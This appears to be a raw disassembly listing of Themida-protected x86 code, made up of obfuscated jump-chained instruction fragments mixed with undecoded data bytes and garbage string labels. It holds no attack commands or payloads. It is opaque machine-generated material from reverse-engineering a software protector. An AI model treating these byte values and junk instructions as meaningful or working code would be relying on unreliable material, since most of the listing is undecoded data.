		dd 0F1310000h, 176AE95Eh, 34FF0000h, 0C4815F24h, 4, 471CE9h
		dd 40500h, 42D0000h, 87000000h,	248B2404h, 3975E924h, 0E9AC0000h
		dd 430Ah
; ---------------------------------------------------------------------------


loc_551E5C:				; CODE XREF: Themida_:00553F23j
		push	eax
		jmp	loc_55C0E2
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8951241Ch, 4C181E1h,	0E9000000h, 8113h, 43D3BD55h, 0EB296FC7h
		dd 0FFF88AE9h, 0C4815BFFh, 4, 8B243C87h, 0F7662424h, 516866E1h
		dd 14896613h, 9C506624h, 0FFEBA5E9h, 83E189FFh,	0D5E904ECh
		dd 6800004Ch, 787h, 0BA241489h,	4, 62E9D701h, 45000095h
		dd 0A9ECE9h, 29346800h,	2C890000h, 1C1E6824h, 3BE90000h
		dd 5000004Ch, 0ADB3E9h,	5BD80100h, 4A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_551EE5:				; CODE XREF: Themida_:00555CC0j
		add	esp, 4
		or	ebp, 3CED48C9h
		push	edi
		mov	edi, 47933B6Bh
		jmp	loc_557B68
; ---------------------------------------------------------------------------
		dd 69DEF581h, 0EF310B24h, 4EC835Dh, 0B9240C89h,	15080EBEh
		dd 0FAE9D9F7h, 0FF000047h, 535A2434h, 0C381E389h, 4, 4BB5351h
		dd 89000000h, 0CB295BD9h, 241C8759h, 240C895Ch,	2AE95954h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551F3F:				; CODE XREF: Themida_:005553DBj
		sub	bl, cl
		add	bl, 4Bh
		push	dword ptr [esp]
		jmp	loc_550B83
; ---------------------------------------------------------------------------
		dd 8105E6C1h, 20DC44F6h, 5EF389F9h, 1DEEE9h, 58C7BF00h
		dd 0F78106A2h, 56F83CC0h, 9ECEE947h, 248B0000h,	7813E924h
		dd 0C8B0000h, 4C48124h,	28000000h, 0E9EA2CD8h, 5C57h, 0BF575359h
		dd 3AD97456h, 4B97E9h
		db 0
; ---------------------------------------------------------------------------


loc_551F95:				; CODE XREF: Themida_:00555C6Fj
		push	ecx
		mov	ch, 85h
		add	ch, 6
		and	ch, 13h
		neg	ch
		dec	ch
		shr	ch, 6
		add	ch, 9Eh
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55853C
; ---------------------------------------------------------------------------


loc_551FB6:				; CODE XREF: Themida_:00559CE4j
		add	ebp, eax
		pop	eax
		xor	[esp+4], ebp
		pop	ebp
		jmp	loc_557863
; ---------------------------------------------------------------------------


loc_551FC3:				; CODE XREF: Themida_:0055B736j
		mov	[esp], edx
		mov	edx, 3E9E41AAh
		sub	esp, 4
		mov	[esp], edx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5566FB
; ---------------------------------------------------------------------------


loc_551FE8:				; CODE XREF: Themida_:0055B26Ej
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5524D4
; ---------------------------------------------------------------------------
		dd 4B850h, 0C6290000h, 74FF5658h, 348B0424h, 4C48324h
		dd 2AB8E9h, 24048900h, 268h, 0C5895800h, 3090E9h
		db 0
; ---------------------------------------------------------------------------


loc_552021:				; CODE XREF: Themida_:0055B2F6j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55630E
; ---------------------------------------------------------------------------


loc_55202A:				; CODE XREF: Themida_:0055130Bj
		dec	dl
		xor	dl, 0F5h
		sub	dl, 0F8h
		sub	bh, dl
		jmp	loc_554D0C
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4ECh, 24048900h, 0FD6E3DB8h,	3ABE561Eh, 2944AF66h, 0D8F75EF0h
		dd 9CDCE9h, 0E9E8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55205E:				; CODE XREF: Themida_:005584FBj
		mov	[esp], ebx
		jmp	loc_550D15
; ---------------------------------------------------------------------------


loc_552066:				; CODE XREF: Themida_:005572D4j
		sub	edx, eax
		push	ecx
		mov	ecx, 1BE04B6Ah
		sub	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		push	466Fh
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_55A467
; ---------------------------------------------------------------------------
		db 1, 0C5h, 81h
aAF2BSk0	db 'М\F2#│еsK0',0
		db 58h
		dd 4EC81h, 0B7E90000h, 890000A8h, 4EC81E3h, 89000000h
		dd 0ACBD242Ch, 0F73B4C02h, 974EE9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5520BA:				; CODE XREF: Themida_:005572DBj
		movzx	eax, al
		mov	dx, [esp]
		push	eax
		jmp	loc_555410
; ---------------------------------------------------------------------------
		db 83h
		dd 0BE5604C4h, 4, 815EF201h, 4C2h, 573EE900h, 0DCF60000h
		dd 0D09CF480h, 0B1E480E4h, 808BCC80h, 0E18830ECh, 8124048Bh
		dd 4C4h, 0EB2DE900h, 34FFFFFFh,	24048B24h, 5304C483h, 0C381E389h
		dd 4, 0FFF6A6E9h, 90F581FFh, 810F3149h,	5E440FE5h, 0CAE94D40h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552127:				; CODE XREF: Themida_:00552A05j
		mov	edi, 6BC4799Bh
		xor	edi, 659C5155h
		or	edi, 19D726B2h
		not	edi
		dec	edi
		neg	edi
		push	esi
		mov	esi, 0BDF1EA80h
		sub	edi, esi
		jmp	loc_554AF7
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 330531D2h, 0EB81EB01h, 330531D2h, 0C1B8505Dh, 83261F66h
		dd 0D8F701E8h, 1C75DA25h, 0C105407Fh, 81A6FFEEh, 0D2128DEBh
		dd 81C30159h, 0D2128DC3h, 1C335859h, 241C3124h,	7387E9h
		db 0
; ---------------------------------------------------------------------------


loc_552189:				; CODE XREF: Themida_:0055C8A4j
		pop	esp
		xor	al, bl
		jmp	loc_55BCBD
; ---------------------------------------------------------------------------


loc_552191:				; CODE XREF: Themida_:0055BAF5j
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55A6CD
; ---------------------------------------------------------------------------
		dd 2891B753h, 0EF085BFDh, 0E9C7FE59h, 246Fh
; ---------------------------------------------------------------------------


loc_5521BC:				; CODE XREF: Themida_:00552E50j
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_552F7D
; ---------------------------------------------------------------------------


loc_5521D2:				; CODE XREF: Themida_:0055C719j
		mov	ch, 24h
		add	bl, ch
		jmp	loc_5584A3
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5368D800h, 0E900000Eh, 3992h, 1C8BD901h, 4C48124h, 33000000h
		dd 0C31240Ch, 240C3324h, 5D97E9h
		db 0
; ---------------------------------------------------------------------------


loc_552201:				; CODE XREF: Themida_:005534DFj
		push	1888h
		mov	[esp], edi
		mov	edi, 1BE04B6Ah
		add	edx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5572CE
; ---------------------------------------------------------------------------
		db 68h,	81h, 5Dh
		dd 4890000h, 9535E924h,	0C3830000h, 241C8704h, 5A5F525Ch
		dd 8904EC83h, 0BA52240Ch, 2E1330A6h, 2061B850h,	0E9485D45h
		dd 3F8Ah
; ---------------------------------------------------------------------------


loc_552248:				; CODE XREF: Themida_:00553ACFj
		inc	ebp
		jmp	loc_551322
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 13165436h, 0C681FE01h, 13165436h, 74FF565Fh,	28E90424h
		dd 1Eh,	0B0E95AD1h, 0BD000019h,	58387D89h, 585DEA29h, 0BAE9D029h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55227F:				; CODE XREF: Themida_:00551976j
		sub	esp, 4
		mov	[esp], ebx
		pop	esi
		push	edi
		mov	edi, esi
		push	edi
		add	dword ptr [esp], 1A273945h
		jmp	loc_5550D7
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 48E9240Ch
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55229F:				; CODE XREF: Themida_:00553A1Cj
		xchg	ebp, [esp]
		jmp	loc_5580F7
; ---------------------------------------------------------------------------
		db 66h
		dd 34FFEB29h, 9FE95D24h, 8900003Bh, 1EBA2414h, 8361A305h
		dd 0F28101EAh, 1AA629CFh, 835AD601h, 0B5E901C6h, 100009Ch
		dd 1CD605D8h, 74055FE0h, 686C1A3Eh, 3A06h, 7007E9h
		db 0
; ---------------------------------------------------------------------------


loc_5522E5:				; CODE XREF: Themida_:00553EB7j
		mov	ecx, [esp]
		jmp	loc_5530EF
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 5Ch
a9sGhK		db '9А GhоK',0
		dd 24148900h, 8A9998BAh, 541BE9B8h, 815F0000h, 0CE4BAFF2h
		dd 628BE97Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552312:				; CODE XREF: Themida_:0055703Fj
		xchg	ebp, [esp]
		mov	esp, [esp]
		not	al
		jmp	loc_557C60
; ---------------------------------------------------------------------------


loc_55231F:				; CODE XREF: Themida_:0055A76Cj
		pop	esp
		pop	ebp
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, ebx
		jmp	loc_552826
; ---------------------------------------------------------------------------


loc_552330:				; CODE XREF: Themida_:005575C7j
		and	ecx, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_554D14
; ---------------------------------------------------------------------------
		db 5Ch,	0FFh, 34h
		dd 54505824h, 93BA5258h, 0E9228F0Eh, 84CEh, 0CADB850h
		dd 0BF5725A1h, 0DC5CB6Eh, 6E47E9h
		db 0
; ---------------------------------------------------------------------------


loc_552375:				; CODE XREF: Themida_:0055CAA3j
		add	esp, 4
		sub	eax, 49E61564h
		push	ebx
		push	ebp
		jmp	loc_55AE68
; ---------------------------------------------------------------------------
		dd 0E95BDF29h, 6FF8h, 0A2DF001h, 5E077364h, 476668h, 24148900h
		dd 960CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5523A1:				; CODE XREF: Themida_:0055753Ej
		add	ecx, 4
		jmp	loc_5596F4
; ---------------------------------------------------------------------------
		dd 69099868h, 24048B0Ch, 504C483h, 71B93C8Dh, 10E05A05h
		dd 58C789E3h, 136CE9h, 0FEE1B600h, 0A9D8E9C6h, 8F0000h
		dd 5DB0081h, 2C8B239Ch,	4C48324h, 0FFE661E9h, 5DEB01FFh
		dd 835BDF01h, 3C8704C7h, 0F0E95C24h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5523F7:				; CODE XREF: Themida_:00552D96j
		add	edx, 0A040C0C3h
		mov	ebx, edx
		jmp	loc_5555E3
; ---------------------------------------------------------------------------
		dd 8106EBC1h, 4ECh, 8097E900h, 0EDC10000h, 81B85008h, 571FF936h
		dd 4FE0E9h, 93E95E00h, 5F000026h, 0BBE9DE89h, 2900000Fh
		dd 0EE8159CEh, 6F376C6Dh, 0E904EC83h, 3B11h
; ---------------------------------------------------------------------------


loc_552440:				; CODE XREF: Themida_:0055151Ej
		add	ebp, eax
		jmp	loc_5580D7
; ---------------------------------------------------------------------------


loc_552447:				; CODE XREF: Themida_:00554BBEj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55A766
; ---------------------------------------------------------------------------
		db 89h,	0FAh, 5Fh
		dd 4245401h, 24148B5Ah,	8104C483h, 4C2h, 77436800h, 0E2E90000h
		dd 89000099h, 0C9E9241Ch, 0B3000051h, 54C38016h, 6866h
		dd 8A241C28h, 8956241Ch, 4C681E6h, 0E9000000h, 53DEh
; ---------------------------------------------------------------------------


loc_552498:				; CODE XREF: Themida_:0055B8E0j
		sub	edi, 7B6D6359h
		add	edi, 90405A80h
		add	ecx, 289A268Ah
		add	ecx, edi
		sub	ecx, 289A268Ah
		pop	edi
		shr	ecx, 6
		jmp	loc_5511F6
; ---------------------------------------------------------------------------


loc_5524BB:				; CODE XREF: Themida_:00551DB5j
		pop	esi
		jmp	loc_5576BF
; ---------------------------------------------------------------------------
		db 0BEh, 0C5h, 6Ch
		dd 0E6C145BDh, 1A685104h, 0E963196Eh, 3209h
; ---------------------------------------------------------------------------


loc_5524D4:				; CODE XREF: Themida_:00551FF3j
		add	ecx, 4
		push	eax
		jmp	loc_552B33
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0C3312424h, 57E9C231h, 0FFFFFFE5h, 4FE94077h
		dd 68FFFFE5h, 3ACFh, 301BE9h, 5BDF2100h, 8103E7C1h, 0D0BE3BEFh
		dd 8BFA2926h, 5453243Ch, 4C3815Bh, 0E9000000h, 0FFFFFD06h
; ---------------------------------------------------------------------------


loc_552520:				; CODE XREF: Themida_:0055C023j
		shl	eax, cl
		push	ebx
		push	edi
		push	edx
		push	30C7035Ch
		pop	edx
		jmp	loc_55C864
; ---------------------------------------------------------------------------
aPsev		db 'PИ┘┌',0
		align 2
		dw 0C281h
		dd 3BDA4DD9h, 83242C8Bh, 0BD5504C4h, 4,	1665EA81h, 0EA2921F2h
		dd 1665C281h, 685D21F2h, 459Ch,	0E9241489h, 4D11h
; ---------------------------------------------------------------------------


loc_552564:				; CODE XREF: Themida_:0055A470j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		dd 0F66C331h, 686600B6h, 89663668h, 0C3E92404h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552583:				; CODE XREF: Themida_:00555092j
		mov	ecx, 8801921h
		push	137Fh
		mov	[esp], ebp
		mov	ebp, 581251D2h
		xor	ecx, ebp
		push	dword ptr [esp]
		jmp	loc_554EC7
; ---------------------------------------------------------------------------
		db 1
		dd 721CE9D7h, 14890000h, 0F843E924h, 6857FFFFh,	73854187h
		dd 83243C8Bh, 0D7F704C4h, 6A81C781h, 0FA897434h, 8712E95Fh
		dd 0F7290000h, 0DEC7815Eh, 8139AF0Ah, 5AE854C7h, 0FC70E98Dh
		dd 0E828FFFFh, 0A00459h, 53A02CD8h, 0A2E9E9h, 4EC8300h
		dd 139CE9h, 0C8B6600h, 2D876824h, 14890000h, 68E28924h
		dd 6651h, 52243C89h, 4BAh, 5AD78900h, 835FFA01h, 0C8904ECh
		dd 0A6C7E924h, 4680000h, 8900007Dh, 7D682404h, 0E9000025h
		dd 8398h, 1B20E955h, 0D1F70000h, 1631E981h, 5CE939EEh
		dd 6800001Fh, 3026h, 89241C89h,	8BDD89C3h, 0AAE9241Ch
		dd 55000047h, 0B9314668h, 4EE95D33h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552667:				; CODE XREF: Themida_:0055598Dj
		pop	ebp
		sub	eax, ecx
		push	esi
		mov	esi, 48311202h
		shl	esi, 7
		inc	esi
		jmp	loc_5572E0
; ---------------------------------------------------------------------------
		db 66h,	81h, 0EBh
		dd 8B666710h, 0C4812434h, 2, 0ACC38166h, 0C0B70F4Eh, 7DA86866h
		dd 24048966h, 0FFE3A9E9h, 0E95A54FFh, 0FFFFF5ADh, 457CE954h
		dd 9BB0000h, 14BD134h, 0C7815BDFh, 35545AAAh, 0C0B60F5Eh
		dd 688734FFh, 0EC3h, 0E9240C89h, 2CC3h,	240CD366h, 0E370E99Ch
		dd 0BD55FFFFh, 2DB4288Dh, 0FFF7DEE9h, 0FC181FFh, 31655E30h
		dd 0CF8159CFh, 34202393h, 35CE68h, 24148900h, 886756BAh
		dd 0E9D7316Ch, 0FFFFF703h, 0FFE33DE9h, 4EC83FFh, 0B8240489h
		dd 4, 0EBE9C201h, 0FF000022h, 0C8B2434h, 4C48124h, 0E9000000h
		dd 3B2Ch, 0B53007BEh, 14F7562Fh, 0E6815E24h, 72C00BC6h
		dd 0F442C681h, 0F501AFBFh, 5624348Bh, 3FDFE9h, 6866AC00h
		dd 8966265Eh, 0EC83241Ch, 55B8E904h, 0D6F70000h, 382DEE81h
		dd 814E475Ch, 0ED89A4EEh, 5EF22985h, 7046E9h, 66526600h
		dd 663E26BAh, 4246C81h,	0BAE934D2h, 8300007Bh, 0FEE904C4h
		dd 0FF00001Bh, 5D042474h, 0E9h,	24048F00h, 6624248Bh, 5450F9F7h
		dd 8124048Bh, 4C4h, 73BD5500h, 81618F0Eh, 8F0E77F5h, 4670E961h
		dd 0C6010000h, 0DC7EE81h, 74E9386Ah, 8100001Ah,	4C4h, 8BF32900h
		dd 0C4812434h, 4, 0E9008F66h, 0FFFFE262h, 81E78957h, 4C7h
		dd 2EF8100h, 87000000h,	8EE9243Ch
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5527FB:				; CODE XREF: Themida_:00559422j
		pop	eax
		add	edx, 0CF256E73h
		sub	eax, 36003F46h
		jmp	loc_557A79
; ---------------------------------------------------------------------------
		dd 24F3E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552812:				; CODE XREF: Themida_:00551AB8j
		xchg	eax, [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_558A14
; ---------------------------------------------------------------------------


loc_552826:				; CODE XREF: Themida_:0055232Bj
		pop	ebx
		shr	ecx, 0
		jmp	loc_5570E3
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 5341h, 51240C89h,	0BF57E189h, 667E2632h
		dd 4918E781h, 0F7811BCCh, 26134566h, 0F706EFC1h, 8E7C1DFh
		dd 1504C781h, 0F901917Dh, 4E9815Fh, 87000000h, 895C240Ch
		dd 3EE92424h
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552873:				; CODE XREF: Themida_:00558EB6j
		push	ecx
		push	esp
		jmp	loc_554472
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0E95F0424h, 0FFFFFC5Ch, 0FFC0B60Fh, 34FF8734h, 2434FF24h
		dd 8B2434FFh, 0C4832404h, 44E56804h, 0DAE90000h, 8900005Fh
		dd 0E95557E6h, 359Ah, 7693E955h, 0C4830000h, 0E0EE8104h
		dd 0E9338D03h, 9081h
; ---------------------------------------------------------------------------


loc_5528C0:				; CODE XREF: Themida_:0055AD60j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 25926E05h
		inc	ebp
		and	ebp, 75796C09h
		sub	ebp, 39D90D6Fh
		neg	ebp
		xor	ebp, 63D5872Ah
		add	ebp, 423928D1h
		add	ebp, 46A9B0EEh
		add	ecx, ebp
		pop	ebp
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 6
		dd 0C7DFF281h, 0D63160B5h, 8124148Bh, 4C4h, 5CCE8100h
		dd 576B0905h, 29CF5E68h, 86E95FEFh, 5300001Ch, 0C381E389h
		dd 4, 8704EB83h, 895C241Ch, 0E952240Ch,	5FBFh
; ---------------------------------------------------------------------------


loc_552944:				; CODE XREF: Themida_:00552B9Fj
		pop	edx
		jmp	loc_552E24
; ---------------------------------------------------------------------------
		dw 1EB7h
		dd 39E9F920h, 66000058h, 0EBE99C50h, 64FFFFE0h,	0E3E9028Fh
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552963:				; CODE XREF: Themida_:0055196Ej
		pop	ebp
		neg	edx
		jmp	loc_550F19
; ---------------------------------------------------------------------------
		db 5
		dd 0DD80FCCh, 0CC2DD829h, 0E90DD80Fh, 527Ch
; ---------------------------------------------------------------------------


loc_55297C:				; CODE XREF: Themida_:0055901Ej
		add	esp, 4


loc_55297F:				; CODE XREF: Themida_:00554DBFj
					; Themida_:00559243j
		push	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_551973
; ---------------------------------------------------------------------------


loc_552998:				; CODE XREF: Themida_:005511F1j
		push	ecx
		mov	ecx, 36662BF2h
		add	ecx, 6131278Ah
		jmp	loc_550D50
; ---------------------------------------------------------------------------


loc_5529A9:				; CODE XREF: Themida_:0055644Cj
		sub	ebx, 617F52E6h
		jmp	loc_55C638
; ---------------------------------------------------------------------------
aFpA		db 'fP╢-─г$',0
		dd 24EF80E7h, 24048B66h, 2C481h, 0DCE90000h, 5100007Ch
		dd 1822E9h, 6EFC000h, 0F780D7F6h, 0EEF808Dh, 0C1EF80h
		dd 241C8BFAh, 8004C483h, 0B7531CCAh, 0E9D7F690h, 1B84h
; ---------------------------------------------------------------------------


loc_5529F8:				; CODE XREF: Themida_:00550CFDj
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		jmp	loc_556C5C
; ---------------------------------------------------------------------------


loc_552A04:				; CODE XREF: Themida_:005546C6j
		push	edi
		jmp	loc_552127
; ---------------------------------------------------------------------------
		dw 2D5Ah
		dd 47E35605h, 505F001h,	2D47E356h, 2F235685h, 0F7F7E95Eh
		dd 52ADFFFFh, 7164E9h, 0CCE95600h, 8900004Eh, 405E0h, 19680000h
		dd 89000050h, 4BE2434h,	52000000h, 3E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_552A49:				; CODE XREF: Themida_:0055C1C3j
		not	esi
		xchg	esi, ecx
		push	eax
		mov	eax, 635461A9h
		not	eax
		not	eax
		or	eax, 78825C65h
		dec	eax
		jmp	loc_551954
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 4, 48BC701h,	266E924h, 8B660000h, 0EC81240Ch, 4, 54242C89h
		dd 0E9242C8Bh, 5EFh, 24048F5Eh,	240CD25Ch, 0DFB0E99Ch
		dd 4BAFFFFh, 81000000h,	984A5DEDh, 81D50133h, 984A5DC5h
		dd 24148B33h, 4C481h, 0B8500000h, 2, 6925C581h,	65E90ABCh
		dd 32h,	88ED80FDh, 241C8B66h, 704FE9h
		db 0
; ---------------------------------------------------------------------------


loc_552AD1:				; CODE XREF: Themida_:00554EC2j
		mov	eax, ebp
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		push	6559h
		jmp	loc_557956
; ---------------------------------------------------------------------------
		dd 0F5814D45h, 10065AAFh, 5809E9h, 24248B00h, 8324048Bh
		dd 0D0F704C4h, 85C78197h, 0E9C4F487h, 1049h, 8759CD01h
		dd 0B2E9242Ch, 81000000h, 26726BEBh, 7A8E9D0h, 0C1660000h
		dd 466606E6h, 6D5AE9h, 73106800h, 0DEE90000h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552B33:				; CODE XREF: Themida_:005524DBj
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_556B24
; ---------------------------------------------------------------------------
		dd 0F6CCED81h, 0EE8900EBh, 44D2D5Dh, 0F029701Dh, 44DBE56h
		dd 0A05701Dh, 0E95A3B43h, 127Fh
; ---------------------------------------------------------------------------


loc_552B6C:				; CODE XREF: Themida_:00550D2Ej
		and	ah, 0FAh
		jmp	loc_5541CE
; ---------------------------------------------------------------------------
		dd 2EC81h, 45E90000h, 29FFFFE7h, 4EC83E8h, 53241489h, 715068BBh
		dd 5BDA892Bh, 2FE9D029h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552B97:				; CODE XREF: Themida_:00559B78j
		xor	edx, 5B06441Bh
		xor	ebp, edx
		jmp	loc_552944
; ---------------------------------------------------------------------------


loc_552BA4:				; CODE XREF: Themida_:00555308j
		neg	ebp
		add	ebp, 57A136C1h
		jmp	loc_55B464
; ---------------------------------------------------------------------------
		db 2Dh,	0D6h, 1Ch
		dd 14E95FE0h, 31FFFFF7h, 0F8015EF7h, 1B69E9h, 0B4505C00h
		dd 3E4C0ACh, 0E819E951h, 0D629FFFFh, 2434875Ah,	2414895Ch
		dd 36B0E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552BE2:				; CODE XREF: Themida_:0055ACD7j
		mov	[esp], edx
		jmp	loc_5584F8
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0F7D98724h, 0E9D987D3h, 27ABh, 6FE9A3B0h, 51000082h
		dd 693F17B9h, 0B2E18165h, 0E91AFB36h, 58Eh, 685BD831h
		dd 5C9Ch, 89242C89h, 4C581E5h, 0E9000000h, 3290h, 0C2815A54h
		dd 4, 4C281h, 14330000h, 24143124h, 7F19E9h, 8BE80000h
		dd 0E955240Ch, 61CDh, 4C281h, 14870000h, 406DE924h, 0BF570000h
		dd 73694DE5h, 0BB53D7F7h, 4EFC72D2h, 0F381EBD1h, 3AC57463h
		dd 6D20E381h, 0C3811C93h, 122F0E7Dh, 571FE9h
		db 0
; ---------------------------------------------------------------------------


loc_552C81:				; CODE XREF: Themida_:005571B0j
		mov	[esp], eax
		xchg	eax, [esp]
		not	eax
		jmp	loc_559D72
; ---------------------------------------------------------------------------
		dw 2D05h
		dd 57ED545h, 6F796FCBh,	815D5455h, 4C5h, 4BA5200h, 29000000h
		dd 0FF555AD5h, 8B042474h, 0C483242Ch, 24048F04h, 6A5BE95Ch
		dd 0C7810000h, 4, 3304C783h, 3C31243Ch,	243C3324h, 0E924248Bh
		dd 9040h, 0E904C483h, 6E4Ah, 2BB535Bh, 81000000h, 0DF1C16E9h
		dd 1767E91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552CF2:				; CODE XREF: Themida_:00555420j
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	4D1Eh
		jmp	loc_559AFE
; ---------------------------------------------------------------------------


loc_552D07:				; CODE XREF: Themida_:0055CA70j
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	cx
		mov	cl, 7Bh
		sub	bl, 0EAh
		sub	bl, cl
		add	bl, 0EAh
		jmp	loc_5514CB
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 25h
		dd 89FFFFDEh, 59CA89F1h, 8BD0015Eh, 0C4812414h,	4, 2BF57h
		dd 0F8010000h, 2404875Fh, 0D324248Bh, 0E99C240Ch, 0FFFFDCFAh
		dd 4C281h, 0F5E90000h, 83FFFFFEh, 0C3302C1h, 240C3124h
		dd 5C240C33h, 50A1E9h, 0F7414100h, 96E181D1h, 495E8950h
		dd 7DDDC181h, 0B5E9111Bh, 50FFFFEEh, 65B1B9B4h,	5258E128h
		dd 159AE9h
		db 0
; ---------------------------------------------------------------------------


loc_552D8D:				; CODE XREF: Themida_:00551421j
		xor	ecx, 6F8D382Fh
		or	edx, ecx
		pop	ecx
		jmp	loc_5523F7
; ---------------------------------------------------------------------------


loc_552D9B:				; CODE XREF: Themida_:0055960Aj
		add	esp, 4
		push	2C93h
		mov	[esp], esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_55B2E5
; ---------------------------------------------------------------------------
a_hrc		db '_h░c',0
		dw 8900h
		dd 2682414h, 5A000000h,	0FFEC68E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552DC9:				; CODE XREF: Themida_:005531EEj
		push	387Fh
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_554605
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 68580000h, 5EC3h,	0BA241489h, 4
		dd 535AD001h, 1F1A65BBh, 524AE955h, 0D5680000h,	89000066h
		dd 50532414h, 26E90CB4h, 0F6000065h, 84C380DBh,	302BF380h
		dd 0E8C05BD8h, 0E9072403h, 510Dh
; ---------------------------------------------------------------------------


loc_552E24:				; CODE XREF: Themida_:00552945j
		push	ebx
		jmp	loc_55CB2B
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 30BE924h, 85BA0000h,	12F2356h, 0FBCCE9D0h, 73B9FFFFh
		dd 0E967C043h, 185h
; ---------------------------------------------------------------------------


loc_552E48:				; CODE XREF: Themida_:005564D5j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5521BC
; ---------------------------------------------------------------------------
		db 0ADh, 31h, 0D8h
		dd 4EC81h, 2C890000h, 0BE86BD24h, 0E82945A9h, 0E9242C8Bh
		dd 1242h, 0C6E7815Fh, 81474513h, 0CA0359E7h, 0D9B95146h
		dd 815E9B45h, 3F38D2E9h, 24F18126h, 0F7016301h,	6DFEE9D1h
		dd 0EEC10000h, 70F68107h, 8138BB3Ah, 8724F7EEh,	5EF20134h
		dd 7345E9h, 59CA0100h, 685AD629h, 790Ah, 0E9243C89h, 6217h
; ---------------------------------------------------------------------------


loc_552EC0:				; CODE XREF: Themida_:0055C136j
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 0A3F4F5Ch
		sub	ebx, 2419160Eh
		not	ebx
		not	ebx
		add	ebx, 5D2023A2h
		jmp	loc_550C99
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 80000000h,	0C380A6C3h, 132BE902h, 22680000h
		dd 0E9000045h, 3A86h
; ---------------------------------------------------------------------------


loc_552EFC:				; CODE XREF: Themida_:00551502j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_550F2B
		push	7F9Ch
		mov	[esp], eax
		mov	eax, 7D686A1Eh
		or	eax, 304A61EBh
		neg	eax
		not	eax
		push	edx
		push	ecx
		mov	ecx, 15C5106Fh
		add	ecx, 29B13369h
		mov	edx, ecx
		jmp	loc_55C1A7
; ---------------------------------------------------------------------------


loc_552F30:				; CODE XREF: Themida_:0055A55Bj
		add	ebp, eax
		jmp	loc_55A88C
; ---------------------------------------------------------------------------


loc_552F37:				; CODE XREF: Themida_:00559DA7j
		pop	edx
		push	edi
